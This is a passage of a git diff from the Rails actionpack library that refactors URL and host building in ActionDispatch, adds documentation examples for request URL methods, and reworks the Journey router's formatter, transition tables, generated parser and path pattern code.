+          protocol = options[:protocol]
+          port     = options[:port]
 
-        def build_host_url(options)
-          if options[:host].blank? && options[:only_path].blank?
+          unless host
             raise ArgumentError, 'Missing host to link to! Please provide the :host parameter, set default_url_options[:host], or set :only_path to true'
           end
 
-          result = ""
+          build_host_url(host, port, protocol, options, path_for(options))
+        end
+
+        def path_for(options)
+          path  = options[:script_name].to_s.chomp("/")
+          path << options[:path] if options.key?(:path)
+
+          add_trailing_slash(path) if options[:trailing_slash]
+          add_params(path, options[:params]) if options.key?(:params)
+          add_anchor(path, options[:anchor]) if options.key?(:anchor)
 
-          unless options[:only_path]
-            if match = options[:host].match(HOST_REGEXP)
-              options[:protocol] ||= match[1] unless options[:protocol] == false
-              options[:host]       = match[2]
-              options[:port]       = match[3] unless options.key?(:port)
-            end
+          path
+        end
 
-            options[:protocol] = normalize_protocol(options)
-            options[:host]     = normalize_host(options)
-            options[:port]     = normalize_port(options)
+        private
 
-            result << options[:protocol]
-            result << rewrite_authentication(options)
-            result << options[:host]
-            result << ":#{options[:port]}" if options[:port]
+        def add_params(path, params)
+          params = { params: params } unless params.is_a?(Hash)
+          params.reject! { |_,v| v.to_param.nil? }
+          path << "?#{params.to_query}" unless params.empty?
+        end
+
+        def add_anchor(path, anchor)
+          if anchor
+            path << "##{Journey::Router::Utils.escape_fragment(anchor.to_param)}"
           end
-          result
         end
 
-        def named_host?(host)
-          host && IP_HOST_REGEXP !~ host
+        def extract_domain_from(host, tld_length)
+          host.split('.').last(1 + tld_length).join('.')
         end
 
-        def same_host?(options)
-          (options[:subdomain] == true || !options.key?(:subdomain)) && options[:domain].nil?
+        def extract_subdomains_from(host, tld_length)
+          parts = host.split('.')
+          parts[0..-(tld_length + 2)]
         end
 
-        def rewrite_authentication(options)
+        def add_trailing_slash(path)
+          # includes querysting
+          if path.include?('?')
+            path.sub!(/\?/, '/\&')
+          # does not have a .format
+          elsif !path.include?(".")
+            path.sub!(/[^\/]\z|\A\z/, '\&/')
+          end
+        end
+
+        def build_host_url(host, port, protocol, options, path)
+          if match = host.match(HOST_REGEXP)
+            protocol ||= match[1] unless protocol == false
+            host       = match[2]
+            port       = match[3] unless options.key? :port
+          end
+
+          protocol = normalize_protocol protocol
+          host     = normalize_host(host, options)
+
+          result = protocol.dup
+
           if options[:user] && options[:password]
-            "#{Rack::Utils.escape(options[:user])}:#{Rack::Utils.escape(options[:password])}@"
-          else
-            ""
+            result << "#{Rack::Utils.escape(options[:user])}:#{Rack::Utils.escape(options[:password])}@"
           end
+
+          result << host
+          normalize_port(port, protocol) { |normalized_port|
+            result << ":#{normalized_port}"
+          }
+
+          result.concat path
+        end
+
+        def named_host?(host)
+          IP_HOST_REGEXP !~ host
         end
 
-        def normalize_protocol(options)
-          case options[:protocol]
+        def normalize_protocol(protocol)
+          case protocol
           when nil
             "http://"
           when false, "//"
@@ -105,36 +147,39 @@ module ActionDispatch
           when PROTOCOL_REGEXP
             "#{$1}://"
           else
-            raise ArgumentError, "Invalid :protocol option: #{options[:protocol].inspect}"
+            raise ArgumentError, "Invalid :protocol option: #{protocol.inspect}"
           end
         end
 
-        def normalize_host(options)
-          return options[:host] if !named_host?(options[:host]) || same_host?(options)
+        def normalize_host(_host, options)
+          return _host unless named_host?(_host)
 
           tld_length = options[:tld_length] || @@tld_length
+          subdomain  = options.fetch :subdomain, true
+          domain     = options[:domain]
 
           host = ""
-          if options[:subdomain] == true || !options.key?(:subdomain)
-            host << extract_subdomain(options[:host], tld_length).to_param
-          elsif options[:subdomain].present?
-            host << options[:subdomain].to_param
+          if subdomain == true
+            return _host if domain.nil?
+
+            host << extract_subdomains_from(_host, tld_length).join('.')
+          elsif subdomain
+            host << subdomain.to_param
           end
           host << "." unless host.empty?
-          host << (options[:domain] || extract_domain(options[:host], tld_length))
+          host << (domain || extract_domain_from(_host, tld_length))
           host
         end
 
-        def normalize_port(options)
-          return nil if options[:port].nil? || options[:port] == false
+        def normalize_port(port, protocol)
+          return unless port
 
-          case options[:protocol]
-          when "//"
-            nil
+          case protocol
+          when "//" then yield port
           when "https://"
-            options[:port].to_i == 443 ? nil : options[:port]
+            yield port unless port.to_i == 443
           else
-            options[:port].to_i == 80 ? nil : options[:port]
+            yield port unless port.to_i == 80
           end
         end
       end
@@ -146,16 +191,43 @@ module ActionDispatch
       end
 
       # Returns the complete URL used for this request.
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com'
+      #   req.url # => "http://example.com"
       def url
         protocol + host_with_port + fullpath
       end
 
       # Returns 'https://' if this is an SSL request and 'http://' otherwise.
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com'
+      #   req.protocol # => "http://"
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com', 'HTTPS' => 'on'
+      #   req.protocol # => "https://"
       def protocol
         @protocol ||= ssl? ? 'https://' : 'http://'
       end
 
       # Returns the \host for this request, such as "example.com".
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com'
+      #   req.raw_host_with_port # => "example.com"
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.raw_host_with_port # => "example.com:8080"
       def raw_host_with_port
         if forwarded = env["HTTP_X_FORWARDED_HOST"]
           forwarded.split(/,\s?/).last
@@ -165,17 +237,44 @@ module ActionDispatch
       end
 
       # Returns the host for this request, such as example.com.
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.host # => "example.com"
       def host
         raw_host_with_port.sub(/:\d+$/, '')
       end
 
       # Returns a \host:\port string for this request, such as "example.com" or
       # "example.com:8080".
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.host_with_port # => "example.com"
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.host_with_port # => "example.com:8080"
       def host_with_port
         "#{host}#{port_string}"
       end
 
       # Returns the port number of this request as an integer.
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com'
+      #   req.port # => 80
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.port # => 8080
       def port
         @port ||= begin
           if raw_host_with_port =~ /:(\d+)$/
@@ -187,6 +286,13 @@ module ActionDispatch
       end
 
       # Returns the standard \port number for this request's protocol.
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.standard_port # => 80
       def standard_port
         case protocol
           when 'https://' then 443
@@ -195,18 +301,48 @@ module ActionDispatch
       end
 
       # Returns whether this request is using the standard port
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.standard_port? # => true
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.standard_port? # => false
       def standard_port?
         port == standard_port
       end
 
       # Returns a number \port suffix like 8080 if the \port number of this request
       # is not the default HTTP \port 80 or HTTPS \port 443.
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.optional_port # => nil
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.optional_port # => 8080
       def optional_port
         standard_port? ? nil : port
       end
 
       # Returns a string \port suffix, including colon, like ":8080" if the \port
       # number of this request is not the default HTTP \port 80 or HTTPS \port 443.
+      #
+      #   class Request < Rack::Request
+      #     include ActionDispatch::Http::URL
+      #   end
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:80'
+      #   req.port_string # => ""
+      #
+      #   req = Request.new 'HTTP_HOST' => 'example.com:8080'
+      #   req.port_string # => ":8080"
       def port_string
         standard_port? ? '' : ":#{port}"
       end
diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb
index 7764763791..992c1a9efe 100644
--- a/actionpack/lib/action_dispatch/journey/formatter.rb
+++ b/actionpack/lib/action_dispatch/journey/formatter.rb
@@ -12,12 +12,12 @@ module ActionDispatch
         @cache  = nil
       end
 
-      def generate(type, name, options, recall = {}, parameterize = nil)
-        constraints = recall.merge(options)
+      def generate(name, options, path_parameters, parameterize = nil)
+        constraints = path_parameters.merge(options)
         missing_keys = []
 
         match_route(name, constraints) do |route|
-          parameterized_parts = extract_parameterized_parts(route, options, recall, parameterize)
+          parameterized_parts = extract_parameterized_parts(route, options, path_parameters, parameterize)
 
           # Skip this route unless a name has been provided or it is a
           # standard Rails route since we can't determine whether an options
@@ -30,11 +30,17 @@ module ActionDispatch
             parameterized_parts.key?(key) || route.defaults.key?(key)
           end
 
+          defaults       = route.defaults
+          required_parts = route.required_parts
+          parameterized_parts.delete_if do |key, value|
+            value.to_s == defaults[key].to_s && !required_parts.include?(key)
+          end
+
           return [route.format(parameterized_parts), params]
         end
 
-        message = "No route matches #{constraints.inspect}"
-        message << " missing required keys: #{missing_keys.inspect}" if name
+        message = "No route matches #{Hash[constraints.sort].inspect}"
+        message << " missing required keys: #{missing_keys.sort.inspect}" unless missing_keys.empty?
 
         raise ActionController::UrlGenerationError, message
       end
@@ -74,12 +80,12 @@ module ActionDispatch
           if named_routes.key?(name)
             yield named_routes[name]
           else
-            routes = non_recursive(cache, options.to_a)
+            routes = non_recursive(cache, options)
 
             hash = routes.group_by { |_, r| r.score(options) }
 
             hash.keys.sort.reverse_each do |score|
-              next if score < 0
+              break if score < 0
 
               hash[score].sort_by { |i, _| i }.each do |_, route|
                 yield route
@@ -90,14 +96,14 @@ module ActionDispatch
 
         def non_recursive(cache, options)
           routes = []
-          stack  = [cache]
+          queue  = [cache]
 
-          while stack.any?
-            c = stack.shift
+          while queue.any?
+            c = queue.shift
             routes.concat(c[:___routes]) if c.key?(:___routes)
 
             options.each do |pair|
-              stack << c[pair] if c.key?(pair)
+              queue << c[pair] if c.key?(pair)
             end
           end
 
@@ -121,14 +127,9 @@ module ActionDispatch
         def possibles(cache, options, depth = 0)
           cache.fetch(:___routes) { [] } + options.find_all { |pair|
             cache.key?(pair)
-          }.map { |pair|
+          }.flat_map { |pair|
             possibles(cache[pair], options, depth + 1)
-          }.flatten(1)
-        end
-
-        # Returns +true+ if no missing keys are present, otherwise +false+.
-        def verify_required_parts!(route, parts)
-          missing_keys(route, parts).empty?
+          }
         end
 
         def build_cache
diff --git a/actionpack/lib/action_dispatch/journey/gtg/builder.rb b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
index 7d2791714b..450588cda6 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/builder.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
@@ -27,7 +27,7 @@ module ActionDispatch
             marked[s] = true # mark s
 
             s.group_by { |state| symbol(state) }.each do |sym, ps|
-              u = ps.map { |l| followpos(l) }.flatten
+              u = ps.flat_map { |l| followpos(l) }
               next if u.empty?
 
               if u.uniq == [DUMMY]
@@ -90,7 +90,7 @@ module ActionDispatch
               firstpos(node.left)
             end
           when Nodes::Or
-            node.children.map { |c| firstpos(c) }.flatten.uniq
+            node.children.flat_map { |c| firstpos(c) }.uniq
           when Nodes::Unary
             firstpos(node.left)
           when Nodes::Terminal
@@ -105,7 +105,7 @@ module ActionDispatch
           when Nodes::Star
             firstpos(node.left)
           when Nodes::Or
-            node.children.map { |c| lastpos(c) }.flatten.uniq
+            node.children.flat_map { |c| lastpos(c) }.uniq
           when Nodes::Cat
             if nullable?(node.right)
               lastpos(node.left) | lastpos(node.right)
diff --git a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
index 58ad803841..94b0a24344 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
@@ -19,6 +19,14 @@ module ActionDispatch
         end
 
         def simulate(string)
+          ms = memos(string) { return }
+          MatchData.new(ms)
+        end
+
+        alias :=~    :simulate
+        alias :match :simulate
+
+        def memos(string)
           input = StringScanner.new(string)
           state = [0]
           while sym = input.scan(%r([/.?]|[^/.?]+))
@@ -29,15 +37,10 @@ module ActionDispatch
             tt.accepting? s
           }
 
-          return if acceptance_states.empty?
+          return yield if acceptance_states.empty?
 
-          memos = acceptance_states.map { |x| tt.memo(x) }.flatten.compact
-
-          MatchData.new(memos)
+          acceptance_states.flat_map { |x| tt.memo(x) }.compact
         end
-
-        alias :=~    :simulate
-        alias :match :simulate
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
index da0cddd93c..d7ce6042c2 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
@@ -9,8 +9,8 @@ module ActionDispatch
         attr_reader :memos
 
         def initialize
-          @regexp_states = Hash.new { |h,k| h[k] = {} }
-          @string_states = Hash.new { |h,k| h[k] = {} }
+          @regexp_states = {}
+          @string_states = {}
           @accepting     = {}
           @memos         = Hash.new { |h,k| h[k] = [] }
         end
@@ -40,12 +40,22 @@ module ActionDispatch
         end
 
         def move(t, a)
-          move_string(t, a).concat(move_regexp(t, a))
-        end
+          return [] if t.empty?
+
+          regexps = []
 
-        def to_json
-          require 'json'
+          t.map { |s|
+            if states = @regexp_states[s]
+              regexps.concat states.map { |re, v| re === a ? v : nil }
+            end
 
+            if states = @string_states[s]
+              states[a]
+            end
+          }.compact.concat regexps
+        end
+
+        def as_json(options = nil)
           simple_regexp = Hash.new { |h,k| h[k] = {} }
 
           @regexp_states.each do |from, hash|
@@ -54,11 +64,11 @@ module ActionDispatch
             end
           end
 
-          JSON.dump({
+          {
             regexp_states: simple_regexp,
             string_states: @string_states,
             accepting:     @accepting
-          })
+          }
         end
 
         def to_svg
@@ -78,13 +88,13 @@ module ActionDispatch
           erb       = File.read File.join(viz_dir, 'index.html.erb')
           states    = "function tt() { return #{to_json}; }"
 
-          fun_routes = paths.shuffle.first(3).map do |ast|
+          fun_routes = paths.sample(3).map do |ast|
             ast.map { |n|
               case n
               when Nodes::Symbol
                 case n.left
                 when ':id' then rand(100).to_s
-                when ':format' then %w{ xml json }.shuffle.first
+                when ':format' then %w{ xml json }.sample
                 else
                   'omg'
                 end
@@ -99,7 +109,7 @@ module ActionDispatch
           svg         = to_svg
           javascripts = [states, fsm_js]
 
-          # Annoying hack for 1.9 warnings
+          # Annoying hack warnings
           fun_routes  = fun_routes
           stylesheets = stylesheets
           svg         = svg
@@ -111,44 +121,35 @@ module ActionDispatch
         end
 
         def []=(from, to, sym)
-          case sym
-          when String
-            @string_states[from][sym] = to
-          when Regexp
-            @regexp_states[from][sym] = to
-          else
-            raise ArgumentError, 'unknown symbol: %s' % sym.class
-          end
+          to_mappings = states_hash_for(sym)[from] ||= {}
+          to_mappings[sym] = to
         end
 
         def states
-          ss = @string_states.keys + @string_states.values.map(&:values).flatten
-          rs = @regexp_states.keys + @regexp_states.values.map(&:values).flatten
+          ss = @string_states.keys + @string_states.values.flat_map(&:values)
+          rs = @regexp_states.keys + @regexp_states.values.flat_map(&:values)
           (ss + rs).uniq
         end
 
         def transitions
-          @string_states.map { |from, hash|
+          @string_states.flat_map { |from, hash|
             hash.map { |s, to| [from, s, to] }
-          }.flatten(1) + @regexp_states.map { |from, hash|
+          } + @regexp_states.flat_map { |from, hash|
             hash.map { |s, to| [from, s, to] }
-          }.flatten(1)
+          }
         end
 
         private
 
-          def move_regexp(t, a)
-            return [] if t.empty?
-
-            t.map { |s|
-              @regexp_states[s].map { |re, v| re === a ? v : nil }
-            }.flatten.compact.uniq
-          end
-
-          def move_string(t, a)
-            return [] if t.empty?
-
-            t.map { |s| @string_states[s][a] }.compact
+          def states_hash_for(sym)
+            case sym
+            when String
+              @string_states
+            when Regexp
+              @regexp_states
+            else
+              raise ArgumentError, 'unknown symbol: %s' % sym.class
+            end
           end
       end
     end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/dot.rb b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
index 5c33a872e5..47bf76bdbf 100644
--- a/actionpack/lib/action_dispatch/journey/nfa/dot.rb
+++ b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
@@ -16,9 +16,9 @@ module ActionDispatch
           #  end
           #  "  #{n.object_id} [label=\"#{label}\", shape=box];"
           #}
-          #memo_edges = memos.map { |k, memos|
+          #memo_edges = memos.flat_map { |k, memos|
           #  (memos || []).map { |v| "  #{k} -> #{v.object_id};" }
-          #}.flatten.uniq
+          #}.uniq
 
         <<-eodot
 digraph nfa {
diff --git a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
index 5b40da6569..b23270db3c 100644
--- a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
+++ b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
@@ -34,7 +34,7 @@ module ActionDispatch
 
           return if acceptance_states.empty?
 
-          memos = acceptance_states.map { |x| tt.memo(x) }.flatten.compact
+          memos = acceptance_states.flat_map { |x| tt.memo(x) }.compact
 
           MatchData.new(memos)
         end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
index a3017aeea1..0ccab21801 100644
--- a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
+++ b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
@@ -42,58 +42,13 @@ module ActionDispatch
         end
 
         def states
-          (@table.keys + @table.values.map(&:keys).flatten).uniq
-        end
-
-        # Returns a generalized transition graph with reduced states. The states
-        # are reduced like a DFA, but the table must be simulated like an NFA.
-        #
-        # Edges of the GTG are regular expressions.
-        def generalized_table
-          gt       = GTG::TransitionTable.new
-          marked   = {}
-          state_id = Hash.new { |h,k| h[k] = h.length }
-          alphabet = self.alphabet
-
-          stack = [eclosure(0)]
-
-          until stack.empty?
-            state = stack.pop
-            next if marked[state] || state.empty?
-
-            marked[state] = true
-
-            alphabet.each do |alpha|
-              next_state = eclosure(following_states(state, alpha))
-              next if next_state.empty?
-
-              gt[state_id[state], state_id[next_state]] = alpha
-              stack << next_state
-            end
-          end
-
-          final_groups = state_id.keys.find_all { |s|
-            s.sort.last == accepting
-          }
-
-          final_groups.each do |states|
-            id = state_id[states]
-
-            gt.add_accepting(id)
-            save = states.find { |s|
-              @memos.key?(s) && eclosure(s).sort.last == accepting
-            }
-
-            gt.add_memo(id, memo(save))
-          end
-
-          gt
+          (@table.keys + @table.values.flat_map(&:keys)).uniq
         end
 
         # Returns set of NFA states to which there is a transition on ast symbol
         # +a+ from some state +s+ in +t+.
         def following_states(t, a)
-          Array(t).map { |s| inverted[s][a] }.flatten.uniq
+          Array(t).flat_map { |s| inverted[s][a] }.uniq
         end
 
         # Returns set of NFA states to which there is a transition on ast symbol
@@ -107,7 +62,7 @@ module ActionDispatch
         end
 
         def alphabet
-          inverted.values.map(&:keys).flatten.compact.uniq.sort_by { |x| x.to_s }
+          inverted.values.flat_map(&:keys).compact.uniq.sort_by(&:to_s)
         end
 
         # Returns a set of NFA states reachable from some NFA state +s+ in set
@@ -131,9 +86,9 @@ module ActionDispatch
         end
 
         def transitions
-          @table.map { |to, hash|
+          @table.flat_map { |to, hash|
             hash.map { |from, sym| [from, sym, to] }
-          }.flatten(1)
+          }
         end
 
         private
diff --git a/actionpack/lib/action_dispatch/journey/nodes/node.rb b/actionpack/lib/action_dispatch/journey/nodes/node.rb
index 935442ef66..bb01c087bc 100644
--- a/actionpack/lib/action_dispatch/journey/nodes/node.rb
+++ b/actionpack/lib/action_dispatch/journey/nodes/node.rb
@@ -93,6 +93,10 @@ module ActionDispatch
 
       class Star < Unary # :nodoc:
         def type; :STAR; end
+
+        def name
+          left.name.tr '*:', ''
+        end
       end
 
       class Binary < Node # :nodoc:
diff --git a/actionpack/lib/action_dispatch/journey/parser.rb b/actionpack/lib/action_dispatch/journey/parser.rb
index bb4cbb00e2..9012297400 100644
--- a/actionpack/lib/action_dispatch/journey/parser.rb
+++ b/actionpack/lib/action_dispatch/journey/parser.rb
@@ -1,6 +1,6 @@
 #
 # DO NOT MODIFY!!!!
-# This file is automatically generated by Racc 1.4.9
+# This file is automatically generated by Racc 1.4.11
 # from Racc grammer file "".
 #
 
@@ -9,42 +9,38 @@ require 'racc/parser.rb'
 
 require 'action_dispatch/journey/parser_extras'
 module ActionDispatch
-  module Journey # :nodoc:
-    class Parser < Racc::Parser # :nodoc:
+  module Journey
+    class Parser < Racc::Parser
 ##### State transition tables begin ###
 
 racc_action_table = [
-    17,    21,    13,    15,    14,     7,   nil,    16,     8,    19,
-    13,    15,    14,     7,    23,    16,     8,    19,    13,    15,
-    14,     7,   nil,    16,     8,    13,    15,    14,     7,   nil,
-    16,     8,    13,    15,    14,     7,   nil,    16,     8 ]
+    13,    15,    14,     7,    21,    16,     8,    19,    13,    15,
+    14,     7,    17,    16,     8,    13,    15,    14,     7,    24,
+    16,     8,    13,    15,    14,     7,    19,    16,     8 ]
 
 racc_action_check = [
-     1,    17,     1,     1,     1,     1,   nil,     1,     1,     1,
-    20,    20,    20,    20,    20,    20,    20,    20,     7,     7,
-     7,     7,   nil,     7,     7,    19,    19,    19,    19,   nil,
-    19,    19,     0,     0,     0,     0,   nil,     0,     0 ]
+     2,     2,     2,     2,    17,     2,     2,     2,     0,     0,
+     0,     0,     1,     0,     0,    19,    19,    19,    19,    20,
+    19,    19,     7,     7,     7,     7,    22,     7,     7 ]
 
 racc_action_pointer = [
-    30,     0,   nil,   nil,   nil,   nil,   nil,    16,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,     1,   nil,    23,
-     8,   nil,   nil,   nil ]
+     6,    12,    -2,   nil,   nil,   nil,   nil,    20,   nil,   nil,
+   nil,   nil,   nil,   nil,   nil,   nil,   nil,     4,   nil,    13,
+    13,   nil,    17,   nil,   nil ]
 
 racc_action_default = [
-   -18,   -18,    -2,    -3,    -4,    -5,    -6,   -18,    -9,   -10,
-   -11,   -12,   -13,   -14,   -15,   -16,   -17,   -18,    -1,   -18,
-   -18,    24,    -8,    -7 ]
+   -19,   -19,    -2,    -3,    -4,    -5,    -6,   -19,   -10,   -11,
+   -12,   -13,   -14,   -15,   -16,   -17,   -18,   -19,    -1,   -19,
+   -19,    25,    -8,    -9,    -7 ]
 
 racc_goto_table = [
-    18,     1,   nil,   nil,   nil,   nil,   nil,   nil,    20,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,    22,    18 ]
+     1,    22,    18,    23,   nil,   nil,   nil,    20 ]
 
 racc_goto_check = [
-     2,     1,   nil,   nil,   nil,   nil,   nil,   nil,     1,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,     2,     2 ]
+     1,     2,     1,     3,   nil,   nil,   nil,     1 ]
 
 racc_goto_pointer = [
-   nil,     1,    -1,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
+   nil,     0,   -18,   -16,   nil,   nil,   nil,   nil,   nil,   nil,
    nil ]
 
 racc_goto_default = [
@@ -61,19 +57,20 @@ racc_reduce_table = [
   1, 12, :_reduce_none,
   3, 15, :_reduce_7,
   3, 13, :_reduce_8,
-  1, 16, :_reduce_9,
+  3, 13, :_reduce_9,
+  1, 16, :_reduce_10,
   1, 14, :_reduce_none,
   1, 14, :_reduce_none,
   1, 14, :_reduce_none,
   1, 14, :_reduce_none,
-  1, 19, :_reduce_14,
-  1, 17, :_reduce_15,
-  1, 18, :_reduce_16,
-  1, 20, :_reduce_17 ]
+  1, 19, :_reduce_15,
+  1, 17, :_reduce_16,
+  1, 18, :_reduce_17,
+  1, 20, :_reduce_18 ]
 
-racc_reduce_n = 18
+racc_reduce_n = 19
 
-racc_shift_n = 24
+racc_shift_n = 25
 
 racc_token_table = {
   false => 0,
@@ -89,7 +86,7 @@ racc_token_table = {
 
 racc_nt_base = 10
 
-racc_use_result_var = true
+racc_use_result_var = false
 
 Racc_arg = [
   racc_action_table,
@@ -136,14 +133,12 @@ Racc_debug_parser = false
 
 # reduce 0 omitted
 
-def _reduce_1(val, _values, result)
- result = Cat.new(val.first, val.last)
-    result
+def _reduce_1(val, _values)
+ Cat.new(val.first, val.last)
 end
 
-def _reduce_2(val, _values, result)
- result = val.first
-    result
+def _reduce_2(val, _values)
+ val.first
 end
 
 # reduce 3 omitted
@@ -154,22 +149,21 @@ end
 
 # reduce 6 omitted
 
-def _reduce_7(val, _values, result)
- result = Group.new(val[1])
-    result
+def _reduce_7(val, _values)
+ Group.new(val[1])
 end
 
-def _reduce_8(val, _values, result)
- result = Or.new([val.first, val.last])
-    result
+def _reduce_8(val, _values)
+ Or.new([val.first, val.last])
 end
 
-def _reduce_9(val, _values, result)
- result = Star.new(Symbol.new(val.last))
-    result
+def _reduce_9(val, _values)
+ Or.new([val.first, val.last])
 end
 
-# reduce 10 omitted
+def _reduce_10(val, _values)
+ Star.new(Symbol.new(val.last))
+end
 
 # reduce 11 omitted
 
@@ -177,27 +171,25 @@ end
 
 # reduce 13 omitted
 
-def _reduce_14(val, _values, result)
- result = Slash.new('/')
-    result
+# reduce 14 omitted
+
+def _reduce_15(val, _values)
+ Slash.new('/')
 end
 
-def _reduce_15(val, _values, result)
- result = Symbol.new(val.first)
-    result
+def _reduce_16(val, _values)
+ Symbol.new(val.first)
 end
 
-def _reduce_16(val, _values, result)
- result = Literal.new(val.first)
-    result
+def _reduce_17(val, _values)
+ Literal.new(val.first)
 end
 
-def _reduce_17(val, _values, result)
- result = Dot.new(val.first)
-    result
+def _reduce_18(val, _values)
+ Dot.new(val.first)
 end
 
-def _reduce_none(val, _values, result)
+def _reduce_none(val, _values)
   val[0]
 end
 
diff --git a/actionpack/lib/action_dispatch/journey/parser.y b/actionpack/lib/action_dispatch/journey/parser.y
index 040f8d5922..d3f7c4d765 100644
--- a/actionpack/lib/action_dispatch/journey/parser.y
+++ b/actionpack/lib/action_dispatch/journey/parser.y
@@ -1,11 +1,11 @@
 class ActionDispatch::Journey::Parser
-
+  options no_result_var
 token SLASH LITERAL SYMBOL LPAREN RPAREN DOT STAR OR
 
 rule
   expressions
-    : expressions expression  { result = Cat.new(val.first, val.last) }
-    | expression              { result = val.first }
+    : expression expressions  { Cat.new(val.first, val.last) }
+    | expression              { val.first }
     | or
     ;
   expression
@@ -14,13 +14,14 @@ rule
     | star
     ;
   group
-    : LPAREN expressions RPAREN { result = Group.new(val[1]) }
+    : LPAREN expressions RPAREN { Group.new(val[1]) }
     ;
   or
-    : expressions OR expression { result = Or.new([val.first, val.last]) }
+    : expression OR expression { Or.new([val.first, val.last]) }
+    | expression OR or { Or.new([val.first, val.last]) }
     ;
   star
-    : STAR       { result = Star.new(Symbol.new(val.last)) }
+    : STAR       { Star.new(Symbol.new(val.last)) }
     ;
   terminal
     : symbol
@@ -29,16 +30,16 @@ rule
     | dot
     ;
   slash
-    : SLASH              { result = Slash.new('/') }
+    : SLASH              { Slash.new('/') }
     ;
   symbol
-    : SYMBOL             { result = Symbol.new(val.first) }
+    : SYMBOL             { Symbol.new(val.first) }
     ;
   literal
-    : LITERAL            { result = Literal.new(val.first) }
+    : LITERAL            { Literal.new(val.first) }
     ;
   dot
-    : DOT                { result = Dot.new(val.first) }
+    : DOT                { Dot.new(val.first) }
     ;
 
 end
diff --git a/actionpack/lib/action_dispatch/journey/path/pattern.rb b/actionpack/lib/action_dispatch/journey/path/pattern.rb
index d37aa1fbe5..64b48ca45f 100644
--- a/actionpack/lib/action_dispatch/journey/path/pattern.rb
+++ b/actionpack/lib/action_dispatch/journey/path/pattern.rb
@@ -1,27 +1,20 @@
+require 'action_dispatch/journey/router/strexp'
+
 module ActionDispatch
   module Journey # :nodoc:
     module Path # :nodoc:
       class Pattern # :nodoc:
         attr_reader :spec, :requirements, :anchored
 
-        def initialize(strexp)
-          parser = Journey::Parser.new
-
-          @anchored = true
+        def self.from_string string
+          new Journey::Router::Strexp.build(string, {}, ["/.?"], true)
+        end
 
-          case strexp
-          when String
-            @spec         = parser.parse(strexp)
-            @requirements = {}
-            @separators   = "/.?"
-          when Router::Strexp
-            @spec         = parser.parse(strexp.path)
-            @requirements = strexp.requirements
-            @separators   = strexp.separators.join
-            @anchored     = strexp.anchor
-          else
-            raise ArgumentError, "Bad expression: #{strexp}"
-          end
+        def initialize(strexp)
+          @spec         = strexp.ast
+          @requirements = strexp.requirements
+          @separators   = strexp.separators.join
+          @anchored     = strexp.anchor
 
           @names          = nil
           @optional_names = nil
@@ -30,6 +23,10 @@ module ActionDispatch
           @offsets        = nil
         end
 
+        def build_formatter
+          Visitors::FormatBuilder.new.accept(spec)
+        end
+
         def ast
           @spec.grep(Nodes::Symbol).each do |node|
             re = @requirements[node.to_sym]
@@ -45,7 +42,7 @@ module ActionDispatch
         end
 
         def names
-          @names ||= spec.grep(Nodes::Symbol).map { |n| n.name }
+          @names ||= spec.grep(Nodes::Symbol).map(&:name)
         end
 
         def required_names
@@ -53,9 +50,9 @@ module ActionDispatch
         end
 
         def optional_names
